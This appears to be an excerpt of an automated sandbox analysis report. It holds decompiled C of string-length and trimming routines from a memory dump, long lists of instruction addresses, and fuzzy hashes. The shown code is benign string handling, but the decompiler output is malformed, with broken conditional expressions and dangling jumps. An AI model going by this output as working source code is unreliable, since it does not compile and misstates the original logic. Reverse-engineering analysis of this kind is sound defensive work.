																					if(( *(_t426 + _t314 * 2) & 0x0000ffff) == 0) {
																						goto L129;
																					}
																					_t314 = _t314 + 1;
																					__eflags = _t314 - 0x7fffffff;
																					if(_t314 < 0x7fffffff) {
																						continue;
																					}
																					goto L128;
																				}
																				goto L129;
																			}
																			asm("bsf ebx, eax");
																			_t314 = (_t314 >> 1) + _t405;
																			goto L129;
																		}
																		_t314 = 0;
																		__eflags = _t405 & 0x00000001;
																		if((_t405 & 0x00000001) != 0) {
																			goto L126;
																		}
																		_t405 =  ~_t405 + 0x10 >> 1;
																		__eflags = _t405;
																		while(1) {
																			_t264 =  *(_t426 + _t314 * 2) & 0x0000ffff;
																			__eflags = _t264;
																			if(_t264 == 0) {
																				goto L129;
																			}
																			_t314 = _t314 + 1;
																			__eflags = _t314 - _t405;
																			if(_t314 < _t405) {
																				continue;
																			}
																			goto L122;
																		}
																		goto L129;
																	} else {
																		goto L111;
																	}
																	while(1) {
																		L111:
																		__eflags =  *(_t257 + _t312 * 2) & 0x0000ffff;
																		if(( *(_t257 + _t312 * 2) & 0x0000ffff) == 0) {
																			goto L114;
																		}
																		_t312 = _t312 + 1;
																		__eflags = _t312 - 0x7fffffff;
																		if(_t312 < 0x7fffffff) {
																			continue;
																		}
																		goto L113;
																	}
																	goto L114;
																}
																asm("bsf ebx, edi");
																_t312 = (_t312 >> 1) + _t441;
																goto L114;
															}
															_t312 = 0;
															__eflags = _t441 & 0x00000001;
															if((_t441 & 0x00000001) != 0) {
																goto L111;
															}
															_t441 =  ~_t441 + 0x10 >> 1;
															__eflags = _t441;
															while(1) {
																_t425 =  *(_t257 + _t312 * 2) & 0x0000ffff;
																__eflags = _t425;
																if(_t425 == 0) {
																	goto L114;
																}
																_t312 = _t312 + 1;
																__eflags = _t312 - _t441;
																if(_t312 < _t441) {
																	continue;
																}
																goto L107;
															}
															goto L114;
														} else {
															goto L99;
														}
														while(1) {
															L99:
															__eflags =  *(_t425 + _t389 * 2) & 0x0000ffff;
															if(( *(_t425 + _t389 * 2) & 0x0000ffff) == 0) {
																goto L102;
															}
															_t389 = _t389 + 1;
															__eflags = _t389 - 0x7fffffff;
															if(_t389 < 0x7fffffff) {
																continue;
															}
															goto L101;
														}
														goto L102;
													}
													asm("bsf edx, esi");
													_t389 = (_t389 >> 1) + _t299;
													goto L102;
												}
												__eflags = _t377;
												_t389 = 0;
												if(_t377 != 0) {
													goto L99;
												}
												_t451[9] = _t257;
												_t299 = _t434;
												while(1) {
													__eflags =  *(_t425 + _t389 * 2) & 0x0000ffff;
													if(( *(_t425 + _t389 * 2) & 0x0000ffff) == 0) {
														break;
													}
													_t389 = _t389 + 1;
													__eflags = _t389 - _t434;
													if(_t389 < _t434) {
														continue;
													}
													_t257 = _t451[9];
													goto L95;
												}
												_t257 = _t451[9];
												goto L102;
											}
											_t422 = _t422 + 1;
											__eflags = _t422 - _t451[2];
											if(_t422 < _t451[2]) {
												continue;
											}
											goto L87;
										}
										_t303 =  *_t451;
										_t438 = _t451[1];
										_t381 = _t451[6];
										_t424 = _t342 + 2;
										__eflags = _t424;
										if(_t424 == 0) {
											goto L51;
										}
										__eflags =  *(_t342 + 2) & 0x0000ffff;
										if(( *(_t342 + 2) & 0x0000ffff) == 0) {
											goto L51;
										}
										 *_t451 = _t303;
										_t256 = 0;
										__eflags = 0;
										_t451[1] = _t438;
										_t451[6] = _t381;
										_t451[7] = _t342;
										while(1) {
											_t256 = _t256 + 1;
											_t340 = _t451[7] + _t256 * 2;
											_t382 =  *_t340 & 0x0000ffff;
											__eflags = ( *(_t424 + _t256 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
											_t383 =  <=  ? _t382 + 0x20 : _t382;
											__eflags = ( <=  ? _t382 + 0x20 : _t382) - _t451[3];
											if(( <=  ? _t382 + 0x20 : _t382) == _t451[3]) {
												break;
											}
											__eflags =  *(_t424 + _t256 * 2) & 0x0000ffff;
											if(( *(_t424 + _t256 * 2) & 0x0000ffff) != 0) {
												continue;
											}
											goto L51;
										}
										_t299 =  *_t451;
										_t434 = _t451[1];
										_t377 = _t451[6];
										goto L67;
									}
									_t451[8] = _t427;
									_t342 = _t451[7];
									L160:
									__eflags = _t252;
									if(__eflags == 0) {
										goto L81;
									}
									if(__eflags > 0) {
										goto L82;
									}
									_t257 = _t451[9];
									_t425 = _t451[8];
									goto L88;
								}
								_t451[7] = _t340;
								_t421 = _t434;
								_t451[6] = _t377;
								_t356 = _t451[8];
								while(1) {
									__eflags =  *(_t356 + _t252 * 2) & 0x0000ffff;
									if(( *(_t356 + _t252 * 2) & 0x0000ffff) == 0) {
										break;
									}
									_t252 = _t252 + 1;
									__eflags = _t252 - _t434;
									if(_t252 < _t434) {
										continue;
									}
									_t451[8] = _t356;
									_t377 = _t451[6];
									_t340 = _t451[7];
									goto L73;
								}
								_t451[8] = _t356;
								_t378 = _t451[6];
								_t342 = _t451[7];
								goto L160;
								L73:
								_t451[7] = _t340;
								_t249 =  ~( ~_t421 + 0x00000007 & 0x00000007) + 0x7fffffff;
								__eflags = _t249;
								_t451[6] = _t377;
								_t341 = _t451[8];
								while(1) {
									asm("movdqu xmm1, [ecx+edi*2]");
									asm("pcmpeqw xmm1, xmm0");
									asm("pmovmskb edx, xmm1");
									__eflags = _t377;
									if(_t377 != 0) {
										break;
									}
									_t421 = _t421 + 8;
									__eflags = _t421 - _t249;
									if(_t421 < _t249) {
										continue;
									}
									_t451[8] = _t341;
									_t378 = _t451[6];
									_t342 = _t451[7];
									__eflags = _t249 - 0x7fffffff;
									if(_t249 >= 0x7fffffff) {
										goto L81;
									}
									goto L77;
								}
								asm("bsf eax, eax");
								_t451[8] = _t341;
								_t252 = (_t377 >> 1) + _t421;
								_t378 = _t451[6];
								_t342 = _t451[7];
								goto L160;
							}
						}
						goto L38;
					}
				}
				_t359 =  *__eax & 0x0000ffff;
				 *__edi = _t359;
				if(_t359 == 0) {
					goto L5;
				}
				while(1) {
					_t359 = 1;
					_t357 = _t212[1] & 0x0000ffff;
					 *(_t413 + 2) = _t357;
					if(_t357 == 0) {
						goto L5;
					}
					_t358 = _t212[2] & 0x0000ffff;
					 *(_t413 + 4) = _t358;
					if(_t358 != 0) {
						continue;
					}
					goto L5;
				}
				goto L5;
			}

0x6e66b71f
0x6e66b71f
0x6e66b721
0x6e66b74a
0x6e66b74a
0x6e66b74c
0x6e66b74d
0x6e66b752
0x6e66b760
0x6e66b768
0x6e66b76e
0x6e66b779
0x6e66b77b
0x6e66bf3a
0x6e66bf3f
0x6e66b7ff
0x6e66b804
0x6e66b804
0x6e66b807
0x6e66b80a
0x6e66b80d
0x6e66b80f
0x6e66b824
0x6e66b827
0x6e66b827
0x6e66b82d
0x6e66b835
0x6e66b835
0x6e66b835
0x6e66b836
0x6e66b840
0x6e66b847
0x6e66b848
0x6e66b850
0x6e66b852
0x6e66b855
0x6e66b859
0x6e66b85b
0x6e66b8a3
0x6e66b8a5
0x00000000
0x6e66b85d
0x6e66b85d
0x6e66b85f
0x6e66b88e
0x6e66b88e
0x6e66b890
0x6e66b891
0x6e66b895
0x6e66b89a
0x6e66b89e
0x6e66b8a8
0x6e66b8a8
0x6e66b8ac
0x6e66b8b0
0x6e66b8b4
0x6e66b8b8
0x6e66b8be
0x6e66b8c2
0x00000000
0x6e66b8c2
0x6e66b861
0x6e66b864
0x6e66b867
0x6e66b869
0x00000000
0x00000000
0x6e66b86b
0x6e66b86e
0x6e66b86e
0x6e66b870
0x6e66b870
0x6e66b871
0x6e66b876
0x6e66b87b
0x6e66b87d
0x00000000
0x00000000
0x6e66b87f
0x6e66b883
0x6e66b887
0x6e66b889
0x00000000
0x00000000
0x00000000
0x6e66b889
0x6e66b88b
0x00000000
0x6e66b88b
0x6e66b85b
0x6e66b811
0x00000000
0x6e66b811
0x6e66b783
0x6e66b783
0x6e66b786
0x6e66b7a6
0x6e66b7aa
0x6e66b7b6
0x6e66b7b6
0x6e66b7bc
0x6e66b7bc
0x6e66b7c1
0x6e66b7c5
0x6e66b7c9
0x6e66b7cb
0x00000000
0x00000000
0x6e66b7d1
0x6e66b7d4
0x6e66b7d6
0x00000000
0x00000000
0x6e66b7d8
0x6e66b7de
0x6e66b7f5
0x6e66b7f5
0x6e66b7fa
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66b7e0
0x6e66b7e0
0x6e66b7e4
0x6e66b7e6
0x00000000
0x00000000
0x6e66b7ec
0x6e66b7ed
0x6e66b7f3
0x00000000
0x00000000
0x00000000
0x6e66b7f3
0x6e66ba15
0x6e66ba15
0x6e66ba18
0x6e66ba28
0x6e66ba1a
0x6e66ba1c
0x6e66ba1f
0x6e66ba1f
0x00000000
0x6e66ba18
0x6e66bf2e
0x6e66bf33
0x00000000
0x6e66bf33
0x6e66b788
0x6e66b78a
0x6e66b78c
0x00000000
0x00000000
0x6e66b793
0x6e66b793
0x6e66b795
0x6e66b795
0x6e66b799
0x6e66b79b
0x00000000
0x00000000
0x6e66b7a1
0x6e66b7a2
0x6e66b7a4
0x00000000
0x00000000
0x00000000
0x6e66b7a4
0x00000000
0x6e66b770
0x6e66b770
0x6e66b8c7
0x6e66b8c7
0x6e66b8cb
0x6e66b8d4
0x6e66b8d4
0x6e66b8d9
0x6e66b8de
0x6e66b8e0
0x6e66b8e8
0x6e66b8ea
0x6e66b8f0
0x6e66b8f4
0x6e66b933
0x6e66b9e2
0x6e66b9e2
0x6e66b9e5
0x6e66b9e7
0x6e66b9ee
0x6e66b9ee
0x6e66b9f0
0x6e66b9f4
0x6e66b9f9
0x6e66b9fe
0x6e66ba02
0x6e66ba12
0x6e66ba12
0x6e66b8f8
0x6e66b921
0x6e66b921
0x6e66b923
0x6e66b924
0x6e66b929
0x00000000
0x6e66b929
0x6e66b8fa
0x6e66b8fd
0x6e66b902
0x00000000
0x00000000
0x6e66b904
0x6e66b906
0x6e66b906
0x6e66b907
0x6e66b90c
0x6e66b913
0x00000000
0x00000000
0x6e66b915
0x6e66b919
0x6e66b91f
0x00000000
0x00000000
0x00000000
0x6e66b91f
0x00000000
0x6e66b906
0x6e66b8cd
0x6e66b8d2
0x6e66b93b
0x6e66b93d
0x6e66b93f
0x6e66b983
0x6e66b983
0x6e66b988
0x6e66b98d
0x6e66b98f
0x6e66b997
0x6e66b999
0x6e66b99f
0x6e66b9a1
0x6e66b9a3
0x6e66b9dd
0x6e66b9df
0x00000000
0x6e66b9df
0x6e66b9a5
0x6e66b9a7
0x6e66b9d0
0x6e66b9d0
0x6e66b9d2
0x6e66b9d3
0x6e66b9d8
0x00000000
0x6e66b9d8
0x6e66b9a9
0x6e66b9ac
0x6e66b9af
0x6e66b9b1
0x00000000
0x00000000
0x6e66b9b3
0x6e66b9b3
0x6e66b9b5
0x6e66b9b5
0x6e66b9b6
0x6e66b9bb
0x6e66b9c0
0x6e66b9c2
0x00000000
0x00000000
0x6e66b9c4
0x6e66b9c8
0x6e66b9cc
0x6e66b9ce
0x00000000
0x00000000
0x00000000
0x6e66b9ce
0x00000000
0x6e66b9b5
0x6e66b944
0x6e66b946
0x00000000
0x00000000
0x6e66b948
0x6e66b94f
0x6e66b955
0x6e66b958
0x6e66b958
0x6e66b95a
0x6e66b95d
0x6e66b961
0x6e66b961
0x6e66b968
0x6e66b96e
0x6e66b971
0x6e66b974
0x00000000
0x00000000
0x6e66b97a
0x6e66b97f
0x6e66b981
0x00000000
0x00000000
0x00000000
0x6e66b981
0x6e66ba32
0x6e66ba36
0x6e66ba39
0x6e66ba3b
0x00000000
0x00000000
0x6e66ba43
0x6e66ba46
0x6e66ba50
0x6e66ba56
0x6e66ba58
0x6e66ba5c
0x6e66ba6d
0x6e66ba6d
0x6e66ba6d
0x6e66ba6f
0x6e66ba71
0x00000000
0x00000000
0x6e66ba73
0x6e66ba75
0x6e66ba77
0x6e66baf0
0x6e66baf0
0x6e66baf4
0x6e66baf8
0x6e66bafc
0x6e66bafe
0x00000000
0x00000000
0x6e66bb04
0x6e66bb05
0x6e66bb0a
0x00000000
0x00000000
0x6e66bb0c
0x6e66bb10
0x6e66bb14
0x6e66bb14
0x6e66bb19
0x6e66bb19
0x6e66bb1d
0x6e66bb1d
0x6e66bb1f
0x6e66bb22
0x6e66bb26
0x6e66bb2a
0x6e66bb2a
0x6e66bb35
0x6e66bb39
0x6e66bb3f
0x6e66bb42
0x6e66bb48
0x6e66bb4e
0x6e66bb51
0x6e66bb54
0x00000000
0x00000000
0x6e66bb60
0x6e66bb62
0x6e66bb6b
0x6e66bb6b
0x6e66bb6e
0x6e66bb72
0x6e66bb76
0x6e66bb7a
0x6e66bb7e
0x6e66bb7e
0x6e66bb80
0x00000000
0x00000000
0x6e66bb86
0x6e66bb88
0x6e66bbae
0x6e66bbba
0x6e66bbba
0x6e66bbc0
0x6e66bbc0
0x6e66bbc5
0x6e66bbc9
0x6e66bbcd
0x6e66bbcf
0x00000000
0x00000000
0x6e66bbd5
0x6e66bbd8
0x6e66bbda
0x00000000
0x00000000
0x6e66bbdc
0x6e66bbe2
0x6e66bbf5
0x6e66bbf5
0x6e66bbfa
0x6e66bbfc
0x6e66bbfc
0x6e66bbff
0x6e66bc1f
0x6e66bc2b
0x6e66bc2b
0x6e66bc31
0x6e66bc31
0x6e66bc36
0x6e66bc3a
0x6e66bc3e
0x6e66bc40
0x00000000
0x00000000
0x6e66bc46
0x6e66bc49
0x6e66bc4b
0x00000000
0x00000000
0x6e66bc4d
0x6e66bc53
0x6e66bc66
0x6e66bc66
0x6e66bc6b
0x6e66bc6f
0x6e66bc73
0x6e66bc75
0x6e66bc78
0x6e66bc7a
0x6e66bc7d
0x6e66bc7f
0x6e66bc82
0x6e66bc85
0x6e66bc87
0x6e66bc8a
0x6e66bc8c
0x6e66bde2
0x6e66bde2
0x6e66bdec
0x6e66bdee
0x6e66bdf4
0x6e66bdf6
0x6e66bdf8
0x6e66be37
0x00000000
0x6e66be37
0x6e66bdfa
0x6e66bdfc
0x6e66be25
0x6e66be25
0x6e66be27
0x6e66be28
0x6e66be2d
0x00000000
0x6e66be2d
0x6e66bdfe
0x6e66be01
0x6e66be04
0x6e66be06
0x00000000
0x00000000
0x6e66be08
0x6e66be08
0x6e66be0a
0x6e66be0a
0x6e66be0b
0x6e66be10
0x6e66be15
0x6e66be17
0x00000000
0x00000000
0x6e66be19
0x6e66be1d
0x6e66be21
0x6e66be23
0x00000000
0x00000000
0x00000000
0x6e66be23
0x00000000
0x6e66be0a
0x6e66bc92
0x6e66bc95
0x6e66bc97
0x00000000
0x00000000
0x6e66bc9d
0x6e66bc9f
0x6e66bd0f
0x6e66bd14
0x6e66bd14
0x6e66bd17
0x6e66bd1a
0x6e66bd1d
0x6e66bd1f
0x6e66bd32
0x6e66bd35
0x6e66bd35
0x6e66bd3b
0x6e66bd43
0x6e66bd43
0x6e66bd43
0x6e66bd44
0x6e66bd4e
0x6e66bd58
0x6e66bd5b
0x6e66bd61
0x6e66bd63
0x6e66bd69
0x6e66bd6b
0x6e66bd6d
0x6e66bda7
0x6e66bda9
0x6e66bdac
0x6e66bdac
0x6e66bdb2
0x6e66bdb5
0x6e66bdb7
0x6e66bdb7
0x6e66bdb9
0x00000000
0x00000000
0x6e66bdbf
0x6e66bdc9
0x6e66bdc9
0x6e66bdcc
0x6e66bdcd
0x6e66bdd0
0x6e66bdd2
0x00000000
0x00000000
0x6e66bdd4
0x6e66bdd6
0x6e66be4a
0x00000000
0x6e66be4a
0x6e66bdd8
0x6e66bdd8
0x6e66bdda
0x00000000
0x00000000
0x6e66bdc3
0x6e66bdc6
0x6e66bdc6
0x6e66bdc6
0x6e66bdc9
0x6e66bd6f
0x6e66bd71
0x6e66bd9a
0x6e66bd9a
0x6e66bd9c
0x6e66bd9d
0x6e66bda2
0x00000000
0x6e66bda2
0x6e66bd73
0x6e66bd76
0x6e66bd79
0x6e66bd7b
0x00000000
0x00000000
0x6e66bd7d
0x6e66bd7d
0x6e66bd7f
0x6e66bd7f
0x6e66bd80
0x6e66bd85
0x6e66bd8a
0x6e66bd8c
0x00000000
0x00000000
0x6e66bd8e
0x6e66bd92
0x6e66bd96
0x6e66bd98
0x00000000
0x00000000
0x00000000
0x6e66bd98
0x00000000
0x6e66bd7f
0x6e66bd21
0x00000000
0x6e66bd21
0x6e66bca3
0x6e66bca3
0x6e66bca6
0x6e66bcc3
0x6e66bccf
0x6e66bccf
0x6e66bcd5
0x6e66bcd5
0x6e66bcda
0x6e66bcde
0x6e66bce2
0x6e66bce4
0x00000000
0x00000000
0x6e66bcea
0x6e66bced
0x6e66bcef
0x00000000
0x00000000
0x6e66bcf1
0x6e66bcf7
0x6e66bd0a
0x6e66bd0a
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66bcf9
0x6e66bcf9
0x6e66bcfd
0x6e66bcff
0x00000000
0x00000000
0x6e66bd01
0x6e66bd02
0x6e66bd08
0x00000000
0x00000000
0x00000000
0x6e66bd08
0x00000000
0x6e66bcf9
0x6e66be7a
0x6e66be7f
0x00000000
0x6e66be7f
0x6e66bca8
0x6e66bcaa
0x6e66bcad
0x00000000
0x00000000
0x6e66bcb4
0x6e66bcb4
0x6e66bcb6
0x6e66bcb6
0x6e66bcba
0x6e66bcbc
0x00000000
0x00000000
0x6e66bcbe
0x6e66bcbf
0x6e66bcc1
0x00000000
0x00000000
0x00000000
0x6e66bcc1
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66bc55
0x6e66bc55
0x6e66bc59
0x6e66bc5b
0x00000000
0x00000000
0x6e66bc5d
0x6e66bc5e
0x6e66bc64
0x00000000
0x00000000
0x00000000
0x6e66bc64
0x00000000
0x6e66bc55
0x6e66be86
0x6e66be8b
0x00000000
0x6e66be8b
0x6e66bc01
0x6e66bc03
0x6e66bc09
0x00000000
0x00000000
0x6e66bc10
0x6e66bc10
0x6e66bc12
0x6e66bc12
0x6e66bc16
0x6e66bc18
0x00000000
0x00000000
0x6e66bc1a
0x6e66bc1b
0x6e66bc1d
0x00000000
0x00000000
0x00000000
0x6e66bc1d
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66bbe4
0x6e66bbe4
0x6e66bbe8
0x6e66bbea
0x00000000
0x00000000
0x6e66bbec
0x6e66bbed
0x6e66bbf3
0x00000000
0x00000000
0x00000000
0x6e66bbf3
0x00000000
0x6e66bbe4
0x6e66be92
0x6e66be97
0x00000000
0x6e66be97
0x6e66bb8a
0x6e66bb8c
0x6e66bb91
0x00000000
0x00000000
0x6e66bb93
0x6e66bb97
0x6e66bb99
0x6e66bb9d
0x6e66bb9f
0x00000000
0x00000000
0x6e66bba5
0x6e66bba6
0x6e66bba8
0x00000000
0x00000000
0x6e66bbaa
0x00000000
0x6e66bbaa
0x6e66be3f
0x00000000
0x6e66be3f
0x6e66bb64
0x6e66bb65
0x6e66bb69
0x00000000
0x00000000
0x00000000
0x6e66bb69
0x6e66be9e
0x6e66bea1
0x6e66bea5
0x6e66beab
0x6e66beab
0x6e66beae
0x00000000
0x00000000
0x6e66beb8
0x6e66beba
0x00000000
0x00000000
0x6e66bec0
0x6e66bec3
0x6e66bec3
0x6e66bec5
0x6e66bec9
0x6e66becd
0x6e66bed1
0x6e66bed1
0x6e66bedb
0x6e66bede
0x6e66bee4
0x6e66beee
0x6e66bef1
0x6e66bef4
0x00000000
0x00000000
0x6e66befe
0x6e66bf00
0x00000000
0x00000000
0x00000000
0x6e66bf02
0x6e66ba62
0x6e66ba65
0x6e66ba69
0x00000000
0x6e66ba69
0x6e66bf07
0x6e66bf0b
0x6e66be5f
0x6e66be5f
0x6e66be61
0x00000000
0x00000000
0x6e66be67
0x00000000
0x00000000
0x6e66be6d
0x6e66be71
0x00000000
0x6e66be71
0x6e66ba79
0x6e66ba7d
0x6e66ba7f
0x6e66ba83
0x6e66ba87
0x6e66ba8b
0x6e66ba8d
0x00000000
0x00000000
0x6e66ba93
0x6e66ba94
0x6e66ba96
0x00000000
0x00000000
0x6e66ba98
0x6e66ba9c
0x6e66baa0
0x00000000
0x6e66baa0
0x6e66be53
0x6e66be57
0x6e66be5b
0x00000000
0x6e66baa4
0x6e66bab0
0x6e66bab4
0x6e66bab4
0x6e66bab9
0x6e66babd
0x6e66bac1
0x6e66bac1
0x6e66bac6
0x6e66baca
0x6e66bace
0x6e66bad0
0x00000000
0x00000000
0x6e66bad6
0x6e66bad9
0x6e66badb
0x00000000
0x00000000
0x6e66badd
0x6e66bae1
0x6e66bae5
0x6e66bae9
0x6e66baee
0x00000000
0x00000000
0x00000000
0x6e66baee
0x6e66bf16
0x6e66bf1b
0x6e66bf1f
0x6e66bf21
0x6e66bf25
0x00000000
0x6e66bf25
0x6e66ba6d
0x00000000
0x6e66b8d2
0x6e66b76e
0x6e66b723
0x6e66b726
0x6e66b72b
0x00000000
0x00000000
0x6e66b72f
0x6e66b72f
0x6e66b730
0x6e66b735
0x6e66b73c
0x00000000
0x00000000
0x6e66b73e
0x6e66b742
0x6e66b748
0x00000000
0x00000000
0x00000000
0x6e66b748
0x00000000

Strings

@, xrefs: 6E66B760

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 0325949b6556b9ce37ffcfc40deb1f9bc5596d836a7603486eb3d1864d360c9c
Instruction ID: 804f212dd610728894bae65a7e1b0c7381cbb6f25b987eed59086ca92754b74e
Opcode Fuzzy Hash: 0325949b6556b9ce37ffcfc40deb1f9bc5596d836a7603486eb3d1864d360c9c
Instruction Fuzzy Hash: 52120575A28713CBD7448FA9C49066A73E2BFC6710B14862DF8A58B29CEB34D845C783

Uniqueness

Uniqueness Score: -1.00%

Function 6E674CA0, Relevance: 1.6, Strings: 1, Instructions: 358
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6E674CA0(signed int* __ecx, intOrPtr* _a4) {
				char _v28;
				unsigned int _v32;
				void* _v36;
				unsigned int _t70;
				char* _t75;
				signed int _t78;
				signed int _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				char _t88;
				void* _t89;
				intOrPtr* _t90;
				signed int _t92;
				void* _t98;
				void* _t99;
				signed int _t101;
				char _t102;
				char _t103;
				char _t104;
				signed int _t106;
				signed int _t107;
				signed int _t110;
				char* _t111;
				void* _t112;
				signed int _t115;
				char _t116;
				char _t117;
				char _t118;
				char _t119;
				char _t120;
				void* _t122;
				char* _t123;
				char _t133;
				char _t134;
				char _t136;
				char _t137;
				char* _t139;
				void* _t140;
				signed int _t142;
				char _t146;
				signed int _t148;
				signed int _t154;
				unsigned int _t155;
				char _t157;
				char _t158;
				char* _t161;
				char* _t162;
				intOrPtr* _t169;
				unsigned int _t170;
				void* _t171;
				signed int _t172;
				void* _t174;

				_t174 = (_t172 & 0xfffffff0) - 0x14;
				_t70 =  *0x6e68a24c; // 0xa0d0920
				_t119 =  *0x6e68a250; // 0x0
				_v32 = _t70;
				_v28 = _t119;
				_t101 =  *__ecx;
				if(_t101 == 0) {
					_t120 = 0;
					_t88 = 0;
				} else {
					_t142 = _t101 & 0x0000000f;
					if(_t142 == 0) {
						L5:
						asm("pxor xmm0, xmm0");
						_t98 =  ~( ~_t142 + 0x0000000f & 0x0000000f) + 0x7fffffff;
						while(1) {
							asm("movdqu xmm1, [ecx+edx]");
							asm("pcmpeqb xmm1, xmm0");
							asm("pmovmskb eax, xmm1");
							if(_t70 != 0) {
								break;
							}
							_t142 = _t142 + 0x10;
							if(_t142 < _t98) {
								continue;
							} else {
								if(_t98 >= 0x7fffffff) {
									L11:
									_t88 = 0x7fffffff;
									goto L12;
								} else {
									while( *((char*)(_t98 + _t101)) != 0) {
										_t98 = _t98 + 1;
										if(_t98 < 0x7fffffff) {
											continue;
										} else {
											goto L11;
										}
										goto L18;
									}
									goto L102;
								}
							}
							goto L18;
						}
						asm("bsf ebx, eax");
						_t88 = _t98 + _t142;
						goto L102;
					} else {
						_t88 = 0;
						_t142 =  ~_t142 + 0x10;
						while( *((char*)(_t88 + _t101)) != 0) {
							_t88 = _t88 + 1;
							if(_t88 < _t142) {
								continue;
							} else {
								goto L5;
							}
							goto L18;
						}
						L102:
						if(_t88 > 0) {
							L12:
							_t120 = 0;
							_t155 = _v32;
							_t171 = 0;
							_v36 = _t88;
							while(_t155 != 0) {
								_t86 =  *((intOrPtr*)(_t120 + _t101));
								_t99 = 0;
								while(_t86 !=  *((intOrPtr*)(_t174 + _t99 + 4))) {
									_t99 = _t99 + 1;
									if( *((char*)(_t174 + _t99 + 4)) != 0) {
										continue;
									}
									goto L17;
								}
								_t171 = _t171 + 1;
								_t120 = _t120 + 1;
								if(_t171 < _v36) {
									continue;
								} else {
									break;
								}
								L106:
							}
							L17:
							_t88 = _v36;
						} else {
							_t120 = 0;
						}
						goto L18;
						L93:
						return _t90;
						goto L106;
					}
				}
				L18:
				_t89 = _t88 - 1;
				_t146 = _t88 - _t120;
				if(_t89 >= _t120) {
					_t170 = _v32;
					_v36 = _t120;
					while(_t170 != 0) {
						_t85 =  *((intOrPtr*)(_t89 + _t101));
						_t140 = 0;
						while(_t85 !=  *((intOrPtr*)(_t174 + _t140 + 4))) {
							_t140 = _t140 + 1;
							if( *((char*)(_t174 + _t140 + 4)) != 0) {
								continue;
							}
							goto L24;
						}
						_t89 = _t89 - 1;
						_t146 = _t146 - 1;
						if(_t89 >= _v36) {
							continue;
						} else {
							break;
						}
						goto L93;
					}
					L24:
					_t120 = _v36;
				}
				_t90 = _a4;
				if(_t146 != 0) {
					if(_t101 == 0) {
						_t157 = 0;
					} else {
						_t81 = _t101 & 0x0000000f;
						if(_t81 == 0) {
							L39:
							asm("pxor xmm0, xmm0");
							_t157 =  ~( ~_t81 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [ecx+eax]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb ebx, xmm1");
								if(_t90 != 0) {
									break;
								}
								_t81 = _t81 + 0x10;
								if(_t81 < _t157) {
									continue;
								} else {
									_t90 = _a4;
									if(_t157 >= 0x7fffffff) {
										L45:
										_t157 = 0x7fffffff;
									} else {
										while( *((char*)(_t157 + _t101)) != 0) {
											_t157 = _t157 + 1;
											if(_t157 < 0x7fffffff) {
												continue;
											} else {
												goto L45;
											}
											goto L46;
										}
									}
								}
								goto L46;
							}
							_t169 = _t90;
							asm("bsf esi, esi");
							_t90 = _a4;
							_t157 = _t169 + _t81;
						} else {
							_t157 = 0;
							_t81 =  ~_t81 + 0x10;
							while( *((char*)(_t157 + _t101)) != 0) {
								_t157 = _t157 + 1;
								if(_t157 < _t81) {
									continue;
								} else {
									goto L39;
								}
								goto L46;
							}
						}
					}
					L46:
					_t121 =  <=  ? 0 : _t120;
					_t122 =  <  ? _t157 :  <=  ? 0 : _t120;
					_t158 = _t157 - _t122;
					if(_t146 < 0 || _t146 > _t158) {
						_t146 = _t158;
					}
					 *_t90 = 0;
					 *(_t90 + 4) = 0;
					_t161 = _t122 + _t101;
					if(_t161 == 0 ||  *(_t101 + _t122) == 0) {
						_push(0x40);
						_t162 = E6E661030();
						_t174 = _t174 + 4;
						_t123 =  *_t90;
						if(_t123 == 0) {
							 *_t162 = 0;
						} else {
							if(_t162 != 0) {
								_t102 =  *_t123;
								 *_t162 = _t102;
								if(_t102 != 0) {
									_t148 = 0;
									while(1) {
										_t148 = _t148 + 1;
										_t103 =  *((char*)(_t123 + _t148 * 2 - 1));
										 *((char*)(_t162 + _t148 * 2 - 1)) = _t103;
										if(_t103 == 0) {
											goto L90;
										}
										_t104 =  *((char*)(_t123 + _t148 * 2));
										 *((char*)(_t162 + _t148 * 2)) = _t104;
										if(_t104 != 0) {
											continue;
										}
										goto L90;
									}
								}
							}
							L90:
							_push(1);
							_push(_t123);
							E6E6610B0();
							_t174 = _t174 + 8;
						}
						goto L92;
					} else {
						if(_t146 == 0) {
							_t115 = _t101 + _t122;
							_t78 = _t115 & 0x0000000f;
							if(_t78 == 0) {
								L56:
								asm("pxor xmm0, xmm0");
								_t146 =  ~( ~_t78 + 0x0000000f & 0x0000000f) + 0x7fffffff;
								while(1) {
									asm("movdqu xmm1, [ecx+eax]");
									asm("pcmpeqb xmm1, xmm0");
									asm("pmovmskb edx, xmm1");
									if(_t122 != 0) {
										break;
									}
									_t78 = _t78 + 0x10;
									if(_t78 < _t146) {
										continue;
									} else {
										if(_t146 >= 0x7fffffff) {
											L62:
											_t146 = 0x7fffffff;
										} else {
											while( *((char*)(_t146 + _t115)) != 0) {
												_t146 = _t146 + 1;
												if(_t146 < 0x7fffffff) {
													continue;
												} else {
													goto L62;
												}
												goto L63;
											}
										}
									}
									goto L63;
								}
								asm("bsf edi, edx");
								_t146 = _t146 + _t78;
							} else {
								_t146 = 0;
								_t78 =  ~_t78 + 0x10;
								while( *((char*)(_t146 + _t115)) != 0) {
									_t146 = _t146 + 1;
									if(_t146 < _t78) {
										continue;
									} else {
										goto L56;
									}
									goto L63;
								}
							}
						}
						L63:
						_t36 = _t146 + 1; // 0x80000000
						_t106 =  <=  ? 0x40 : _t36;
						if(_t106 > 0) {
							_v32 = (_t106 >> 5 >> 0x1a) + _t106 >> 6;
							_t107 = _t106 & 0x8000003f;
							if(_t107 < 0) {
								_t107 = (_t107 - 0x00000001 | 0xffffffc0) + 1;
							}
